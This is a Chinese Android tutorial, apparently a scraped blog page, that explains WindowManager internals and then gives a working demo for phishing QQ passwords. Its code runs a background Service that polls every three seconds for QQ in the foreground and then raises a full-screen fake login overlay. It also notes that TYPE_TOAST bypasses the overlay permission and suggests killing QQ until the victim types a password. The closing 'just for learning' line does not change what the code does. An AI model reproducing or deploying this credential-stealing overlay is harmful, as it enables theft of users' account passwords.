android WindowManager解析与骗取QQ密码案例分析
来源:互联网 发布:去哪里下无损音乐 知乎 编辑:程序博客网 时间:2024/05/17 10:56
demo地址:https://github.com/zhaozepeng/GrabQQPWD
Window&&WindowManager介绍
分析demo之前,先要整理总结一下相关的知识。先看看Window类,Window是一个抽象类,位于代码树frameworks\ android\view\Window.java文件。连同注释,这个文件总共一千多行,它概括了Android窗口的基本属性和基本功能。唯一实现了这个抽象类的是PhoneWindow,实例化PhoneWindow需要一个窗口,只需要通过WindowManager即可完成,Window类的具体实现位于WindowManagerService中,WindowManager和WindowManagerService的交互是一个IPC过程。Android中的所有视图都是通过Window来呈现的,不管是Activity,Dialog还是Toast,他们的视图实际上都是附加在Window上的,因此Window实际上是View的直接管理者,点击事件也是由Window传递给view的。WindowManager.LayoutParams.type参数表示window的类型,共有三种类型,分别是应用Window,子Window和系统Window。应用Window对应着一个Activity,类似Dialog之类的子Window不能单独存在,他需要附属在应用Window上才可以,系统Window则不需要,比如Toast之类,可以直接显示。每个Window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。WindowManager.LayoutParams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的LayoutParams变量名称和取值可以参考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 两篇译文博客,很详细。
再详细分析一下WindowManager,WindowManager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码Context.getSystemService(Context.WINDOW_SERVICE)可以获得WindowManager的实例。WindowManager所提供的功能很简单,常用的只有三个方法,即添加View、更新View和删除View,这三个方法定义在ViewManager中,而WindowManager继承了ViewManager,
- addView();
- updateViewLayout();
- removeView();
private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()
- 1
将所有的操作全部交给WindowManagerGlobal来实现,后续的分析感兴趣的可以看看我的博客: java/android 设计模式学习笔记(8)—桥接模式。
View是Android中视图的呈现方式,但是View不能单独存在,他必须要附着在Window这个抽象的概念上面,每一个Window都对应着一个View和一个ViewRootImpl,Window和View通过ViewRootImpl来建立联系,因此有视图的地方就有Window,比如常见的Activity,Dialog,Toast等。
对于每个activity只有一个decorView也就是ViewRoot,window是通过下面方法获取的
Window mWindow = PolicyManager.makeNewWindow(this);
- 1
创建完Window之后,Activity会为该Window设置回调,Window接收到外界状态改变时就会回调到Activity中。在activity中会调用setContentView()函数,它是调用 window.setContentView()完成的,而Window的具体实现是PhoneWindow,所以最终的具体操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步会检测DecorView是否存在,如果不存在,就会调用generateDecor函数直接创建一个DecorView;第二步就是将Activity的视图添加到DecorView的mContentParent中;第三步是回调Activity中的onContentChanged方法通知Activity视图已经发生改变。这些步骤完成之后,DecorView还没有被WindowManager正式添加到Window中,最后调用Activity的onResume方法中的makeVisible方法才能真正地完成添加和现实过程,Activity的视图才能被用户看到。对Activity的启动过程和Window的创建过程感兴趣的可以看看我的这篇博客android 不能在子线程中更新ui的讨论和分析。
Dialog Window 的创建过程和 Activity 类似,第一步也是用 PolicyManager.makeNewWindow 方法来创建一个 Window,不过这里传入的context必须要为activity的context;第二步也是通过 setContentView 函数去设置dialog 的布局视图;第三步调用 show 方法,通过 WindowManager 将 DecorView添加到Window中显示出来。
Toast和Dialog不同,它稍微复杂一点,首先Toast也是基于Window来实现的,但是由于Toast具有定时取消的这一个功能,所以系统采用了Handler。在Toast的内部有两类IPC过程,第一类是Toast访问NotificationManagerService,第二类是NotificationManagerService回调Toast里的TN接口。在Toast类中,最重要的用于显示该toast的show方法调用了service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。
private static INotificationManager sService;static private INotificationManager getService() { if (sService != null) { return sService; } sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification")); return sService;}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
该服务sService就是系统用于维护toast的服务。最后NMS会通过IPC调用Toast类内部的一个静态私有类TN,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。
网上介绍WindowManager的博客很多,都写得很好的,要具体了解的可以结合看看源码:
http://blog.csdn.net/chenyafei617/article/details/6577940)
http://www.tuicool.com/articles/fqiyeqM
http://blog.csdn.net/xieqibao/article/details/6567814
http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html
相关资料太多了,感兴趣的可以看看源码。
骗取QQ密码实例
有了上面的基础之后,这个例子其实就非常简单了。
第一步编写一个Service并且在Service中弹出一个自定义的Window:
windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);WindowManager.LayoutParams params = new WindowManager.LayoutParams();params.width = WindowManager.LayoutParams.MATCH_PARENT;params.height = WindowManager.LayoutParams.MATCH_PARENT;params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;params.format = PixelFormat.TRANSPARENT;params.gravity = Gravity.CENTER;params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;LayoutInflater inflater = LayoutInflater.from(this);v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() { @Override public void backCallback() { if (v!=null && v.isAttachedToWindow()) L.e("remove view "); windowManager.removeViewImmediate(v); }});btn_sure = (Button) v.findViewById(R.id.btn_sure);btn_cancel = (Button) v.findViewById(R.id.btn_cancel);et_account = (EditText) v.findViewById(R.id.et_account);et_pwd = (EditText) v.findViewById(R.id.et_pwd);cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance()); } else { et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance()); } et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ? 0 : et_pwd.getText().length()); }});//useless// v.setOnKeyListener(new View.OnKeyListener() {// @Override// public boolean onKey(View v, int keyCode, KeyEvent event) {// Log.e("zhao", keyCode+"");// if (keyCode == KeyEvent.KEYCODE_BACK) {// windowManager.removeViewImmediate(v);// return true;// }// return false;// }// });//点击外部消失v.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View view, MotionEvent event) { Rect temp = new Rect(); view.getGlobalVisibleRect(temp); L.e("remove view "); if (temp.contains((int)(event.getX()), (int)(event.getY()))){ windowManager.removeViewImmediate(v); return true; } return false; }});btn_sure.setOnClickListener(this);btn_cancel.setOnClickListener(this);L.e("add view ");windowManager.addView(v, params);
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
这里有几点需要说明一下,
- 第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈,但是因为在这个window中有edittext控件,如果设置为toast,软键盘是没法把布局顶上去的,只有TYPE_SYSTEM_ERROR可以将布局顶上去,如果想用toast绕过权限,布局就得自己精心去设计了;
- 第二个是因为有Edittext,所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖Window;
- 第三个是返回键的监听,setOnKeyListener是不好用的,最后只能复写view类的dispatchKeyEvent函数来实现按键监听了;
- 第四个是点击外部消失的操作,看代码就会明白了;
- 第五个,获取顶部应用的权限问题,在这里非常感谢@android_jiajia朋友,提醒了一下,在5.0之前,5.0~5.1.1,5.1.1之后获取顶部应用的方式其实是不一样的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特别要说明的是LM版本之后如果要去获取顶部应用使用的getAppTasks方法时需要用户手动去开启权限的,但是这不就暴露了么,刚开始找到了一个github库去解决https://github.com/jaredrummler/AndroidProcesses,因为android底层还是linux内核,所以/proc的系统目录下会有进程的相关信息,原理就是基于此,但是最后依旧获取不到顶部的应用T__T,最后没办法了,只能够使用动态申请权限的方案了PACKAGE_USAGE_STATS。
- 第六个是在6.0的系统上,单单Manifest静态注册是不管用的,直接使用WindowManager.LayoutParams.TYPE_SYSTEM_ERROR是会直接崩溃,具体可以看看我的这篇博客android permission权限与安全机制解析(下),这个我在代码中也做好了适配。不过好消息是使用第一条我介绍的TYPE_TOAST依旧是可以绕过权限的,软键盘覆盖问题其实可以把布局挪上去就可以了T__T。
实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是QQ,这个就简单多了,使用ActivityManager就可以了:
new Thread(new Runnable() { @Override public void run() { while (isRunning){ L.e("running"); try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } if (isAppForground("com.tencent.mobileqq")){ myHandler.sendEmptyMessage(1); } } }}).start();
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
获取顶部应用适配方法
private boolean isAppForeground(String appName){ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){ return appName.equals(getTopActivityBeforeL()); }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){ return appName.equals(getTopActivityAfterLM()); }else{ return appName.equals(getTopActivityBeforeLMAfterL()); }}//5.0之前可以使用getRunningAppProcesses()函数获取private String getTopActivityBeforeL(){ ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses(); return taskInfo.get(0).processName;}//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l//processState只能在21版本之后使用private String getTopActivityBeforeLMAfterL() { final int PROCESS_STATE_TOP = 2; Field field = null; ActivityManager.RunningAppProcessInfo currentInfo = null; try { field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState"); } catch (Exception ignored) { } ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE); final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses(); for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) { if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) { Integer state = null; try { state = field.getInt(processInfo); } catch (Exception e) { } if (state != null && state == PROCESS_STATE_TOP) { currentInfo = processInfo; break; } } } return currentInfo!=null ? currentInfo.processName : null;}//注:6.0之后此方法也不太好用了//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag// private String getTopActivityAfterLM(){// ActivityManager.RunningAppProcessInfo topActivity =// ProcessManager.getRunningAppProcessInfo(this).get(0);// return topActivity.processName;// }@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)private String getTopActivityAfterLM() { try { UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE); long milliSecs = 60 * 1000; Date date = new Date(); List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime()); if (queryUsageStats.size() <= 0) { return null; } long recentTime = 0; String recentPkg = ""; for (int i = 0; i < queryUsageStats.size(); i++) { UsageStats stats = queryUsageStats.get(i); if (stats.getLastTimeStamp() > recentTime) { recentTime = stats.getLastTimeStamp(); recentPkg = stats.getPackageName(); } } return recentPkg; } catch (Exception e) { e.printStackTrace(); } return "";}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
PS:小米手机的ROM官方禁止了这些行为,不管是getRunningAppProcesses,getRunningTasks,和ProcessManager都只能返回自己和系统应用的列表,怎么搞?
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新,不光这样,在最新版本的小米ROM中,Manifest 文件中申请了
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
- 1
权限,使用WindowManager.LayoutParams.TYPE_SYSTEM_ERROR还是无法弹出window,小米ROM需要特殊处理一下,这个网上有很多资料,大家可以去了解一下。
这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:
1. 修改UI,使之更加的和QQ风格相似。
2. 用户输入完账号和密码之后,可以addView一个loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。
3. 如果用户不输入账号和密码,直接调用killBackgrondProcess函数(需要权限),强硬的把QQ关闭,直到用户输入账号和密码。
当然了,这只是学习知识而已,大家开心就好啊  ̄ˍ ̄。
- android WindowManager解析与骗取QQ密码案例分析
- android WindowManager解析与骗取QQ密码案例分析
- android WindowManager解析与骗取QQ密码案例分析
- android WindowManager解析与骗取QQ密码案例分析
- android WindowManager解析与骗取QQ密码案例分析
- android WindowManager解析与骗取QQ密码案例分析
- Android WindowManager解析与骗取QQ密码案例分析
- Android的WindowManager解析
- Android解析WindowManager(一)WindowManager体系
- Android WindowManager$BadTokenException异常应对案例
- android分析windowManager、window、viewGroup
- Android WindowManager与窗口管理
- Android WindowManager与窗口管理
- Android之Window与WindowManager
- Android中的Window与WindowManager
- android分析windowManager,和WindowManager.LayoutParams类总结
- 2015.1.7,Android项目小案例,SharedPerFrences模仿腾讯QQ记住密码功能
- Android 源码解析之WindowManager添加窗口
- 各种括号的区别
- java基础学习总结——多个类之间的调用
- 损坏的主控文件表,CHKDSK被终止.如何恢复数据
- 浅入ICE组件编程
- Runtime优雅的解决UIButton多次点击(重复点击)
- android WindowManager解析与骗取QQ密码案例分析
- Git自学(一)Git简介
- 【Flume】flume中sink到hdfs,文件系统频繁产生文件,文件滚动配置不起作用?
- Hive 安装及元数据库配置
- socket so_reuseport提高服务端性能
- LeetCode P137:single number
- VisualStudio安装加载等待CSS特效
- 常用的JS设计模式
- 浙大PAT甲级 1061